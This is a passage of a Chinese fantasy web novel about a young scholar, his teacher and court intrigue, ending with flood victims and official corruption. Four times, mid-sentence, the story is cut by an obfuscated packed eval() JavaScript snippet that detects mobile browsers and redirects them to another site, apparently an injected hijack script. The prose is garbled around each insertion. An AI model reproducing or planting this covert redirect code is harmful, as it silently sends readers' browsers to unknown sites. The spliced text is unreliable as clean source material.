之庭列文曲之籍可乎?’” 一位开国帝王为何如此执着于一个“文位”? “先师端坐杏坛不动衣冠而对曰:‘君问非其道也。天有日月地有江河人分君臣道别文武。王若执戈而耽墨犹使北辰司晨昏也。’” “太祖按剑曰:‘文武本为一体昔周制礼作乐非君王而何?’” “先师振木铎答:‘周摄政非常例也。夫圣王代天牧民当如苍穹覆物至高故不言至广故不察。若屈天心而逐字句犹令岱岳计量沙砾非但不能实为乱本。’” “太祖默然良久忽解所佩玄珪置案上:‘寡人终不可得文位耶?’” “先师以硃笔点圭乃叹:‘王已得天道敕封何必更索人间翰墨?’” …… 天道敕封人间翰墨 文道不朽之躯! 一个令人毛骨悚然的念头陡然从卢璘心底冒了出来。 太祖帝欲求长生? 串起来了。 一切都串起来了! 卢璘终于明白了这段对话的真正深意也终于明白了太祖真正渴求的是什么。 他要得根本不是什么“德不自显必假文以明道”的虚名。 要的是“文宗”之位啊! 要得“文道不朽之躯”! 是长生! 至圣先师正是看穿了太祖的真实意图所以才会那般决绝地拒绝。 一个手握天下权柄的帝王若是再获得了长生不死的力量那将是何等恐怖的景象? 天下万民将永世沦为其奴仆再无出头之日。 这才是真正的“乱本”! 还有太祖之后的七位先帝他们驾崩的时间都太过巧合。 就好像他们的寿命从一开始就被设定好了一样。 这和太祖求“文位”而不得又有什么关系? 卢璘整个人都呆住了沉浸在思索中连夫子后面说了什么一个字都没有听进去。 沈春芳见卢璘这副呆滞的模样还以为自己刚才的话说得太重让这个一向沉稳的璘哥儿一时间承受不住了。 他连忙放缓了语调开口劝慰: “璘哥儿为师也是……” “夫子。” 沈春芳的话还没说完就被卢璘突然打断了。 卢璘抬起头定定地看着自己的老师: “太祖皇帝……真的**吗?” 沈春芳脸上表情瞬间僵住。 张着嘴浑身上下的血液都像是被冻结了一股寒气从脚底板直冲天灵盖。 第152章 君父君父! 京都,皇城脚下。 与边关的肃杀不同,哪怕妖蛮大军已经兵锋直指,全城**,依旧是一片繁华景象。 只是来往巡逻官差比往日多了数倍,盘查也严了许多。 一辆不起眼的马车,穿过重重关卡,最终停在了朱雀大街一座气派非凡的府邸前。 “吏部尚书府”。 少爷掀开车帘,看着门楣上四个大字,一路紧绷的心弦,终于松快了不少。 自己有多久没来过京都了? 上一次来,爷爷还不是柳阁老,自己也不是背负着几十万冤魂秘密的丧家之犬。 到家了。 终于,到家了。 少爷长长吐出一口气,和表哥林然一同下车,来到府门前。 门房管家上前一步,拦住了去路,态度恭敬:“两位有何贵干?老爷尚未下朝,若有要事,可留下拜帖。” 少爷看着对方,心中感慨万千。 “我是柳权。” 门房管家闻言微微一怔,上下打量着这个风尘仆仆、面带憔悴的年轻人。 柳权? 什么柳权? 难不成是老爷的亲戚? 不等他细问,一旁的林然从怀中取出一块令牌,在他面前一晃。 令牌通体玄黑,上刻“圣院浩然”四字。 “不认识自家少爷,总认识这个吧?” 管家一听少爷两个字,脸色瞬间变了,再看向少爷时,满脸的震惊与狂喜。 “小……小少爷!您回来了!” 说完,转身对着身后的一个下人急声吩咐:“快!快去宫门口候着!老爷一下朝,就说小少爷回来了!” …… 不到一刻钟。 一阵急促脚步声从门外传来,一道身着绯色官袍的柳拱,几乎是跑了进来。 一进正厅,一眼就看到了厅中的少爷。 尽管面容清瘦,满是疲惫,但至少没缺胳膊少腿。 柳拱的身子晃了一下,眼眶瞬间红了。 “权哥儿……” 少爷一看到柳拱鬓发洁白,一脸疲惫的样子,也彻底绷不住了。 这一路走来所有的委屈、恐惧、悲愤,在看到爷爷的这一刻,彻底决堤。 “爷爷!” 柳拱快步上前,一把将少爷扶起,一双老手在他身上仔仔细细地摸索着,生怕他缺了哪块肉。 “回来就好,回来就好……” “爷” 短暂的激动过后,柳拱恢复了朝堂重臣的本色,拉着少爷坐下,沉声问道:“这一路,究竟发生了什么?” 少爷下意识地看了一眼四周侍立的下人。 柳拱瞬间会意。 他挥了挥手,屏退左右:“都退下。” “没有我的吩咐,任何人不得靠近正厅半步。” “是。” 下人们鱼贯而出,厅门关上。 偌大的正厅,只剩下祖孙二人以及林然。 少爷稍稍平复激动的情绪,这才将庞盛将军最后的嘱托,一字一句,原原本本地说了出来。 没有说战况如何如何惨烈,没有说自己这一路的九死一生。 只说了庞将军最后的猜测。 “爷爷,庞将军说镇北城大开城门,与妖蛮决死,是是圣上亲手颁布的密诏。” “庞将军最后问我,读书人忠君,可若是君父.亲手将自己的子民推入深渊,我们.我们忠的,到底是什么?” 话音落下。 整个正厅,死一般的寂静。 柳拱端着茶杯的手,停在了半空中,一动不动。 他就那么坐着,脸上没有任何表情。 许久。 还是林然打破了沉默。 “柳阁老,庞将军此言……可信吗?” 身为浩然卫缇骑,本不该质疑一位为国捐躯的将军。 可权哥儿刚才那番话的内容,实在太过骇人听闻。 哪怕林然第二次听到,也觉得难以置信,世所罕见。 翻遍了史书也找不到这种情况。 君王勾结妖蛮,置几十万百姓与死地。 这与陛下何故叛国有什么不同? 柳拱依旧沉默。 脑海中飞速闪过近段时间以来,朝堂上发生的一幕幕。 镇北城破的消息传来,昭宁帝震怒之下,当庭立誓,要与京都共存亡,那份决绝,不似作伪。 还有宴居的反常. 还有那些在朝堂上,不断为议和奔走的臣 子. 一个个看似毫无关联的片段,此刻被权哥儿带来的猜测串联起来,构成了一幅令人毛骨悚然的图景。 饶是在官场沉浮了一辈子,见惯了风浪的柳拱,都觉得手脚发凉。 少爷看着爷爷阴晴不定的脸色,胸中积压的悲愤怒火再也压抑不住。 猛地站起身,双眼通红: “爷爷!庞将军不会骗我!镇北城几十万百姓,就这么没了!城破之时,遍地哀嚎,血流成河!” “我亲眼看到的!那些妖蛮冲进城里,见人就杀,连襁褓里的婴儿都不放过!” “这难道都是假的吗?” 少爷声音带着哭腔,说到最后,已是嘶吼: “庞将军让我把这个消息带给你!爷爷,你说,这到底是不是真的?” 他死死地盯着柳拱,多希望爷爷告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453202|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉他,这一切都是误会,是庞将军猜错了。 柳拱抬起头,声音也听不出喜怒。 “权哥儿,你累了。” “从今天起,你哪儿也不许去,就待在府里,好好休养。” “今天你说的这些话,出了这个门,谁也不准再提,一个字都不行。” “忘掉镇北城,忘掉庞盛,忘掉所有的东西。” “爷爷.”少爷不敢置信地看着柳拱。 自己九死一生带回来的消息,换来的,就是一句“忘了它”? “去休息吧。” 少爷站在原地,没有动,甚至还刻意挺直了脊梁,就那么倔强地看着柳拱。 正厅里的气氛,再次凝固。 祖孙二人,就这么对峙着。 柳拱看着权哥儿满是不屈的眼睛,心中长叹一声。 孩子,终究是长大了。 也正因为长大了,才更不能让他卷入这场滔天旋涡之中。 他不再理会权哥儿,转头看向了林然。 “林老近来身体可还硬朗?” 林然上前一步,恭敬地回答:“多谢柳阁老挂怀。我爷爷身子骨还硬朗得很,前几日还去西山跑马,只是时常念叨着您。” “爷爷时常挂在嘴边说,我林家的女儿,嫁得最好的,当属我姑姑。能与柳阁老结为姻亲,是我林家几辈子修来的福分。” 柳阁老一 开口,林然就明白了意思。 两家是姻亲。 一荣俱荣,一损俱损 柳拱闻言,脸上露出了一丝笑意。 他要的,就是这句话。 “说起来,老夫也好久没见到林老了。 “这段时间,是该抽空去拜见他老人家了。 林然立刻接话。 “林府上下,随时恭贺柳阁老。 柳拱点了点头,转头看向少爷,语气没之前那般强硬了。 “权哥儿,你先跟你表哥下去休息,换身干净衣裳,吃点东西。 “爷爷.还有些公文要处理。 这一次,少爷没有再坚持。 对着柳拱,深深一揖。 “孙儿告退。 林然也跟着行了一礼,和少爷一起退出了正厅。 看着两人离去的背影,柳拱脸上陡然凝重。 他缓缓闭上眼睛,靠在椅背上。 君父亲手将自己的子民推入深渊。 我们忠的,到底是什么? 良久。 柳拱睁开眼,眼中已是一片清明。 他对着空无一人的大厅,低声自语。 “忠的,是这天下,是这万民。 “不是一人一姓。 第153章 他年我若为青帝 与此同时 清河县,文庙街,卢家小院。 “太祖皇帝……真的**吗?” 卢璘问出这句话后,便静静地站着,等待答案。 沈春芳表情瞬间僵住。 璘哥儿怎么敢的? 怎么敢问出这种话! 又是怎么会想到这种事! 不行,不能再让璘哥儿深挖下去了。 沈春芳猛地转过头,破天荒地朝卢璘发起了火: “混账东西!” “你在胡说八道些什么!” “此等大逆不道之言,也是你一个秀才可以妄议的?圣贤书都读到狗肚子里去了吗!” 沈春芳厉声呵斥,平日里半句重话舍不得跟卢璘说,此刻勃然大怒。 卢璘没有争辩,静静地看着夫子。 看来自己的猜测并非空穴来风。 夫子这般失态,已经让卢璘得到了答案。 沈春芳胸膛剧烈起伏,看着眼前璘哥儿平静的模样,心中的惊惧更甚。 这孩子,太聪明了。 聪明到,只是从自己几句关于文宗的感慨和自己事后的反应中就能窥见大秘。 这绝不是好事。 这可是足以招来灭门之祸的滔天大罪! “从今日起,禁足一周,不许踏出房门一步!” 沈春芳拂袖转身,背对着卢璘。 “把你读过的圣贤书,从头到尾,给我抄一百遍!” “什么时候想明白了自己错在哪里,什么时候再出来!” 说完,便不再理会卢璘,径直走回了自己的房间,重重地关上了门。 卢璘站在原地,对着老师紧闭的房门,恭恭敬敬地行了一礼。 而后,转身回了自己的屋子。 …… 接下来的几日,卢家小院的气氛变得有些古怪。 卢璘真的就没出过房门,每日三餐,都由李氏送到门口。 李氏问过沈春芳,夫子只说是璘哥儿骤然得了功名,心性浮躁,需要静心读书,磨炼心性。 李氏虽觉得奇怪,但对夫子的话向来是信服的,便也不再多问,只是每日变着花样给璘哥儿做好吃的。 沈春芳这几日却是寝食难安。 把自己关在屋里,时而踱步,时而枯坐,眉头就没有舒展过。 沈春芳很清楚,自己那天的反应,非但没能打消卢璘的念头,反而证实了他的猜测。 这件事,牵扯太大了,远不是璘哥儿现在可以涉及的。 就在沈春芳愁眉不展之际,柳拱的一封信悄然而至。 信的大概内容是告知权哥儿安全的消息,只是受了些惊吓,留权哥儿在京都好生修养。 得知权哥儿安全无虞,沈春芳也是松了口气。 可当继续往下看时,眉头却再次紧皱。 柳拱在信中,请他帮忙联系师兄王晋。 “忆昔与兄并辔游学,尝笑言埋骨何须桑梓地。今山河零落,竟一语成谶。吾辈残躯已陷泥淖,唯盼兄速联王夫子。” 沈春芳目光在这段内容上停留了好一会。 他和柳拱相交数十年,太了解自己老友脾气了。 一头倔牛,认死理。 若非遇到了万分棘手,甚至关乎生死存亡的大事,绝不可能开口求人。 更何况,求的还是自己师兄,隔了那么一层关系。 京都,到底发生了什么? 沈春芳压下心中的不安,目光落在了信纸的最后一段。 “璘哥儿天资卓绝,然少年血热,近闻大夏诸府有圣院学子纵论战和之策,狂言激切,已犯忌讳。” “今阉党竖耳于文华殿外,清流君子旦夕下狱者众,此子若卷入,恐为他人刀俎!” “止谤莫如自修。愿兄晓以利害:腐儒空谈,不足拯黎民;韬光养晦,方可待天时。” 信的末尾,是八个字。 “愿兄严束此子:乱世读书,方是慈悲。” 沈春芳拿着信,气得手都有些发抖。 这老匹夫! 语焉不详,信里什么都不肯说明白! 可他同样清楚,越是如此,说明京都的局势,越是凶险。 连书信,都不敢写得太过明白。 沈春芳反复看着最后那段话,一个字一个字地咀嚼。 为何要特意加上这一段提醒? 少年血热.纵论战和狂言激切. 止谤莫如自修韬光养晦 乱世读书,方是慈悲。 一个个词,在他脑海中盘旋。 突然,几天前卢璘问出的那个问题,再次浮现在他心头。 “太祖皇帝……真的**吗?” 沈春芳的身体,猛地一震。 柳拱的这封信,不仅是报平安的家书,更是警告信啊! 一封专门针对璘哥儿的警告信! 璘哥儿的猜测,不是空穴来风。 柳拱在京都,必然是察觉到了什么,才会如此特意写下这段话。 不是在提醒自己管教学生。 而是在警告自己,让璘哥儿千万千万不要参与其中。 手里信纸,好像重逾千斤。 沈春芳缓缓闭上眼睛,满心苦涩。 本以为凭借璘哥儿的天资才华,踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453203|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入科举,将来入朝为官,封妻荫子,光宗耀祖不是难事。 却忘了。 这世道从来就不是清平世界,而是**的泥潭。 一周禁足期满。 卢璘推开房门,久违地见到了阳光。 院中,沈春芳负手而立。 听到开门的动静,并没有回头。 卢璘走到院子中央,在距离夫子三步远的地方站定。 许久,沈春芳才缓缓转过身。 “……知道错了吗?” 卢璘抬头,直视着自己的老师,声音沉静,却也坦荡。 “学生明白。” “明白什么?” “明白夫子是在护我。” 沈春芳眉头微微一跳。 “学生年少气盛,不知深浅,险些误入险地。” “朝廷之事,远非书本里写的那般简单。刀光剑影,往往**不见血。” “学生此时,积累不够,根基不稳,贸然涉足,只会被人当做棋子,用过即弃。” 说到这里,卢璘停顿了一下,对着沈春芳,深深一揖。 不过还有一句话藏在心里,没有宣之于口。 “他年我若为青帝” 话音落下,卢璘维持着躬身的姿势,一动不动。 沈春芳看着躬身不起的璘哥儿,心中感慨。 短短七日,璘哥儿想明白了。 不仅想明白了,还想得如此透彻。 知道自己现在的 弱小,也知道韬光养晦的道理。 更重要的是,没有熄灭心中的那团火。 只是将它埋得更深,等待有朝一日,可以燎原。 这等心性,这等悟性! 沈春芳胸中何尝不是一股气堵了七天,此刻终于吐了出来,化作一声叹息。 “起来吧。 “你抄的书呢? 卢璘直起身,转身回屋,不多时,便捧着一摞厚厚的宣纸走了出来,双手递到沈春芳面前。 “夫子,都在这里了。 沈春芳接过,随意翻了翻。 每一张纸上,都写满了工整的蝇头小楷,笔迹沉稳,墨色均匀,再无半点初得功名时的浮躁之气。 “你的字,静下来了。 沈春芳重新看向卢璘,目光温和: “秋闱在即,莫要再想那些虚无缥缈之事。 “你的战场,在考场之上。唯有站得更高,才有资格去看更远的风景,去做你想做的事。 “学生谨记。卢璘再次拱手。 沈春芳点了点头,转身回了自己的房间。 院子里便只剩下卢璘一人。 第154章 乱世读书,方是慈悲 见院中只剩卢璘一人。 李氏这才敢从屋里走出来,身后还跟着探头探脑的小石头。 李氏快步走到卢璘身边:“璘哥儿,你到底怎么惹夫子生这么大气?” “虽然不知道是为啥,但夫子肯定是为了你好。你可不能记恨夫子啊。” 李氏是真的怕自己儿子钻牛角尖。 毕竟是刚考中秀才的年轻人,正是心高气傲的时候,被夫子这么一顿骂,还关了七天,心里能没点委屈? “你禁足这些天,夫子也是吃不好睡不好的,我好几次半夜起来,都瞧见他屋里的灯还亮着,唉声叹气的。” 卢璘听着母亲絮絮叨叨的话,心里一暖。 还没开口,一旁的小石头扯了扯他的衣角,仰着小脸,一本正经地安慰道:“哥哥,我也被夫子打过手心呢,我都没哭,你也不能哭哦。” 卢璘闻言摇头失笑,伸手揉了揉小石头的脑袋。 转头看向李氏,脸上带着宽慰的笑:“娘,你想什么呢,夫子是为我好,我怎么会记恨。” 又低头对小石头挤了挤眼,调侃道:“你做得对,咱们家女孩子哪能随便哭。你好好吃饭,好好锻炼身子,以后找机会打回去。” “啊?”小石头眼睛一亮,脑袋有些转不过来了。 李氏一听这话,柳眉倒竖,一巴掌拍在卢璘背上。 “胡说八道些什么!” “哪能这么教你妹妹!你妹妹一根筋,她要是真听进去了怎么办?还打回去,反了你了!” 卢璘刚准备再说几句,逗逗自家老娘和妹妹,话到嘴边,却忽然停住了。 脸上的笑容渐渐消失,抬头一看,郑宁从屋内走了出来。 两人的视线在空中交汇。 李氏完全没察觉到院中气氛微妙变化,一看到郑宁,脸上带笑。 “哎哟,难得啊,郑丫头今天舍得出门了?” “正好,也省得我去喊你了。今天璘哥儿总算能出门了,我寻思着去买点好菜,咱们晚上吃顿好的,好好庆祝庆祝!” 郑宁闻言,瞥了卢璘一眼,淡淡开口:“那可是赶上好事了,是该庆祝。” 顿了顿,迈步走到卢璘面前,双手背在身后,一副老气横秋的模样。 “都这么大的人了还惹夫子生气。” “不就是考中个秀才嘛就不知天高地厚了。这要是让你考中了状元那还得了?” 卢璘挑了挑眉没有回应。 卢璘的沉默反倒让郑宁准备好的一肚子话没了用武之地一时愣在当场。 小石头可不管这些一听到吃好的立刻欢呼雀跃起来 李氏低头看着自家女儿圆滚滚的脸蛋柳眉再次倒竖。 “吃吃吃就知道吃!你看看你都快胖成个球了还吃!” “哇!”小石头闻言胖胖的小脸一下就垮了当时就哭出声了。 禁足解除后卢家小院又恢复了往日的生气。 李氏更是整日喜笑颜开换着花样地做各种好吃的。 卢厚也时常从铺子里带回些新鲜的吃食看着儿子嘴咧得就没合上过。 卢璘则恢复了每日温书、练字、偶尔去铺子帮帮忙的生活节奏。 这日午后他正在房中研读经典李氏推门走了进来。 “璘哥儿有你的信。” 卢璘放下书卷接过信封。 信封上的字迹清秀有力是黄观寄来的。 展开信纸卢璘细细读了起来。 信的开头是正常的问候话语。 而后黄观详细汇报了自强社近期的发展。 自从那日在半亩园立社之后社团的名声便在临安府的新晋生员中传开了。 不少志同道合的寒门学子慕名而来想要加入。 黄观为人沉稳并未急着扩张而是按照当初定下的章程对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453204|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 申请之人一一进行考校择其品性端正、学问扎实者吸纳了十余人。 如今自强社已有近百人规模俨然成了江南道读书人中一支不可忽视的团体。 信中黄观还提及下一次的文会定在七日后地点仍在半亩园希望卢璘届时参加。 看到这里卢璘脸上露出了笑意。 有黄观这等稳重之人主持俗务自强社的发展比自己预想的还要顺利。 然而当看到信的最后一段时卢璘脸上的笑意缓缓收敛。 黄观在信末提了一件事。 一桩发生在湖广行省的事。 “.近闻湖广武昌府,有新科生员十数人,效仿古人结社论政,于酒楼之上,纵论战和之策,言辞激烈,痛陈边事之弊,力主与妖蛮决一死战。其情可嘉,其行却孟浪了。 “据传,当夜便有官府差役上门,以‘妖言惑众,非议朝政’之罪名,将为首三人下狱。余者,皆被革去功名,杖责二十,逐回原籍。 信纸上的字,仿佛带着一股寒气。 卢璘的目光在“革去功名、“下狱这几个字上略微停留。 十几个刚刚金榜题名,前途一片光明的年轻人,就因为几句热血之言,转瞬间,便被打落尘埃。 这就是夫子口中**不见血的刀光剑影。 也是夫子叮嘱过的“狂言激切,已犯忌讳 一场看不见的风暴,在大夏官场上酝酿。 而不知深浅,一头扎进去的读书人,连一朵浪花都翻不起来,就会被绞得粉身碎骨。 卢璘缓缓将信纸叠好,重新装回信封。 走到窗前,看着院外文庙街上来来往往的行人,听着街坊邻居的说笑声,一片祥和安宁。 可在这份安宁之下,又是何等波涛汹涌。 “乱世读书,方是慈悲。 秋闱,乡试。 这才是自己眼下,唯一该走的路。 第155章 河决千里,哀鸿遍野 翌日清晨,天色微明。 院中,卢璘已经换上了一身崭新的靛青长衫,背上了早已收拾好的行囊。 这身新衣是李氏得知他要去临安府赴文会,熬了两夜赶制出来的。 针脚细密,料子挺括,穿在身上,衬得卢璘愈发精神。 李氏坚持要儿子穿得体面一些。 “都是秀才老爷了,出门在外,不能让人小瞧了去。” 此刻,李氏眼眶发红,上前仔仔细细替卢璘整理着衣领和袖口,嘴里絮絮叨叨地念着。 “早去早回,路上注意安全。” “你夫子前些日子罚你,就是怕你得了功名就心浮气躁,在外头惹是生非。夫子的话,你可得一字一句都记在心里,千万别出风头,更别惹祸啊。” “还有,这包裹里的银子你放仔细了。” 李氏拍了拍卢璘的行囊,压低了声音开口道: “娘给你塞了一百二十两,都是整的。咱们家现在不缺吃穿,你跟那些同窗好友交往,不能老占人家便宜,该你花钱的时候,就得主动付钱,别让人觉得咱们小家子气。” “在外头,人情比银子重要,懂不懂?” 卢璘安静地站着,任由母亲在自己身上拍来拍去,脸上带着温和的笑意。 “娘,我记住了。” “你记住个啥!” 李氏白了他一眼,又帮他把行囊的带子紧了紧。 “你这孩子,从小就有主意,我跟你爹也管不住你。但外头,人心隔肚皮,你凡事多留个心眼,总没错。” 就在这时,里屋的门帘一挑,顶着一头乱**的小石头揉着眼睛走了出来。 她一眼就看到了准备出门的卢璘,睡意顿时去了一半。 小丫头快步跑过来,仰着小脸看着卢璘,从自己怀里掏出了一块用油纸包着的东西,递了过去。 “哥哥,这个给你。” 卢璘接过来,打开一看,是一块麦芽糖,上面还有个缺口。 卢璘心中一暖,笑着摸了摸小石头的脑袋。 “好,我收下了。” “你乖乖在家听娘的话,多吃点,好好长身体。” 说着,卢璘手痒,没忍住,伸手就在小石头肉嘟嘟的胖脸上轻轻掐了一下 。 “女孩家家的胖点才可爱。” “你!” 小石头被卢璘掐得生疼瞬间鼓起了腮帮子气呼呼地瞪着他伸出小手就要刚给出麦芽糖抢回来。 “还给我!不给你吃了!” 李氏见状那点离别伤感顿时消散没好气地开口。 “还吃!你看看你都快胖成个球了还好意思吃!” 小石头一听这话更觉委屈了对着李氏做了个鬼脸扭头就跑回了自己的房间重重地摔上了门。 “略略略!” 院子里只剩下卢厚在一旁默默站着。 他从头到尾一言不发一双眼睛就没从儿子身上挪开过。 他不像自家婆娘会说话默默地上前在卢璘肩膀上重重地拍了两下。 一切尽在不言中。 卢璘对着卢厚笑了笑又看了一眼站在门口眼圈又开始泛红的李氏。 “娘爹我走了。” 这一次去临安府卢璘并未选择陆路而是雇了一艘小船沿水路南下。 清河县有水路直通府城乘船顺流而下比坐马车要快上不少不到半日便可抵达。 船舱里有些逼仄除了卢璘还有几个同行的客商正凑在一起低声抱怨着近来的生意难做。 空气中混杂着汗味与货物受潮的霉味让人胸口发闷。 卢璘放下书卷起身走出船舱 可刚一踏上甲板一股浓厚的血腥和腐臭味便扑面而来让他胃里一阵翻腾。 耳边更是各种凄厉的哀嚎与哭喊不绝。 卢璘走到船舷边朝着声音传来的方向看去。 只一眼整个人便僵在了原地。 目之所及满目疮痍。 浑浊的江水翻滚着拍打着残破的堤岸。 水中数不清的断木与浮尸随波沉浮。 一个妇人正趴在一截漂浮的门板上死死抱着一具早已被泡得发胀的男性尸体哭声嘶哑几近断气。 不远处的浅滩上几个衣不蔽体的孩童正为了一个发了霉的窝头厮打成一团瘦弱的身体上满是泥污。 更远处官府设置了关卡一排排手持长矛的兵丁面无 表情地拦住了想要涌入城中的灾民。 卢璘的心猛地沉了下去。 史书上寥寥数语的“河决千里,哀鸿遍野”,当真切地展现卢璘眼前时,才知道是何等的人间惨状。 “这位兄台,也是去临安府的?” 卢璘回头,一个同样身穿长衫的年轻士子,主动上前搭话。 对方的穿着打扮和卢璘相近,皆是头戴方巾,穿着长衫,一眼就能看得出是有功名在身。 卢璘点了点头,没有说话,目光还停留在船舷外。 那名士子顺着卢璘的视线看去,脸上露出一抹悲悯,随即冷笑一声。 “上塘河决堤了,发了大水。沿河的几个县,房屋良田,全完了。” “又是天灾啊。” 说到天灾二字时,加重了口音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453205|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 卢璘听出了对方口中的嘲讽之意,皱眉:“兄台此话何意?” “何意?”士子冷笑一声,指着不远处水中漂浮的一根巨大原木。 “兄台请看,那是什么?” 卢璘凝神看去,那是一根粗壮的木料,虽然沾满了污泥,但断口处却崭新平整,明显是刚砍伐下来不久。 “这是用来加固堤坝的楠木。” 士子的声音里,满是压抑不住的怒火。 “朝廷拨下的河工款项,采买的加固材料,本该深深地打入堤坝之中,护我大夏万民。可如今,它们却完好无损地漂在这洪水里!” “你说,这到底是天灾,还是人祸!” 士子越说越激动: “我听闻,负责此段河工的,乃是工部侍郎的小舅子!此人贪墨无度,将修缮堤坝的钱款层层盘剥,用烂木朽枝替换坚石楠木,这才酿成今日之祸!” “可笑的是,大水之后,此人非但无过,反而因勘灾有功,官升一级!” “哈哈哈哈!勘灾有功!何其荒唐!” 士子仰天大笑,笑声中却满是悲凉。 “待我此番秋闱中举,定要上书**这群国之蛀虫!将他们的丑恶嘴脸,昭告天下!” 卢璘沉默地听着,没有附和,也没有反驳。 视线,一直落在那片满目疮痍的土地上。 既是天灾,又有人祸。 北境战事吃紧 ,军费开支如流水。 朝廷的钱从哪里来? 无非是加派赋税,或是从这些地方工程款项里挪用。 一场大水,淹没了万顷良田,冲毁了无数家园,让数以十万计的百姓流离失所。 可对某些人来说,这滔天的洪水,说不定反而是遮羞布。 所有贪墨的账目,所有偷工减料的证据,都被这一场大水,冲刷得干干净净。 甚至,还可以借着赈灾的名义,再向朝廷伸手,大捞一笔。 卢璘缓缓闭上眼睛。 夫子说,乱世读书,方是慈悲。 可眼前的景象,却让他对这句话,产生了动摇。 船,在继续前行。 身后的哭喊与哀嚎,渐渐远去。 前方的临安府城,轮廓愈发清晰,画舫楼阁,依稀可见。 一边是地狱,一边是人间。 不过一水之隔。 那名士子还在愤愤不平地痛斥着朝廷的昏聩,官吏的无能。 卢璘却一言不发,只是重新睁开眼,静静地看着越来越近的临安府城。 脸上却再无半分赴会的轻松。 第156章 尔俸尔禄,民脂民膏 船,终于靠岸了。 临安府到了。 可看到的景象却让卢璘愈加悲凉。 城门外,黑压压的人群汇聚成了望不到头的海洋,放眼望去,尽是一张张麻木面孔。 一队队手持棍棒的官差,筑成了一道人墙,将人群阻隔在外。 不远处,一株垂柳下,几道熟悉的身影正在等候。 黄观,陆恒,还有几位自强社的骨干成员。 “社首!” 陆恒眼尖,第一个瞧见了卢璘,脸上刚要扬起喜色,却被身旁的黄观一把拉住。 黄观对着陆恒摇了摇头。 陆恒顺着黄观的视线看去,也察觉到了卢璘身上那股压抑。 黄观缓步上前,走到卢璘面前,轻轻叹了口气: “琢之,可是被这一路的景象,惊着了?” “天灾之下,人命如草芥。我等凡夫俗子,终究是无能为力。” 黄观的话音刚落,身后便传来一声冷笑。 “天灾无情,人祸更无情。” 众人回头,正是船上那名愤世嫉俗的年轻士子。 他缓步走来,视线在自强社众人身上一扫,负手而立,脸上满是不屑。 “我看诸位也是身有功名的读书人,眼见百姓流离失所,却在此袖手旁观,空谈天命,对得起腹中读过的圣贤书吗?” 此言一出,陆恒当场就炸了。 “你这人怎么说话的!我等何时袖手旁观了?” 他往前一步,梗着脖子,怒气冲冲地反驳:“黄社长早已组织我等社员,捐款购粮,在城外设了三处粥棚,还请了郎中,买了药材!我临安府的百姓遭难,我等日夜操劳,出钱出力,又岂会作壁上观!你凭什么在此说风凉话!” 那名士子听完,脸上不见半分愧色,反而冷哼一声。 “算你们还有几分良心。” 他摇了摇头,一副朽木不可雕的模样。 “可惜,有心却少智。方向错了,再如何努力也是白费力气。” “捐钱施粥,不过是扬汤止沸。不从根源上解决问题,今日救十人,明日便有百人饿死。此等下策,不过是自我感动罢了,于大局何益?” “你!” 陆恒气的脸都涨 红了。 黄观抬手,拦住了还要争辩的陆恒。 转头看向卢璘,脸上满是无奈。 “琢之,我等的能力,也只能做到这一步了。” “再往前一步,说不定.就是武昌府那些生员的下场。” “是啊,社首,陆恒都已经把家里的余粮全都拿出来了我等也都是出钱出力.” 黄观默默地观察卢璘的反应,见卢璘脸色稍稍缓和,这才叹了口气,而后眼神朝着不远处的城门方向示意了一下。 卢璘顺着他的视线望去。 城门口,一队官差手持水火棍,正粗暴地驱赶着想要涌入城中的灾民。 哭喊声,求饶声,呵骂声,混作一团。 一名官差一脚踹倒一个衣衫褴褛的中年男人,举起棍子就要往下砸。 那男人顾不得疼痛,连滚带爬地抱住官差的小腿,磕头如捣蒜。 “官爷!官爷行行好,救救我一家四口吧!” “我那五岁的女儿,已经三天没进一粒米了,就快不行了啊!” 官差满脸不耐,再次高高举起了手中的木棍。 “滚开!你这贱民!” 看着眼前这一幕,卢璘脑袋里反复回荡着夫子的教诲。 “乱世读书,方是慈悲。” “乱世读书,方是慈悲。” 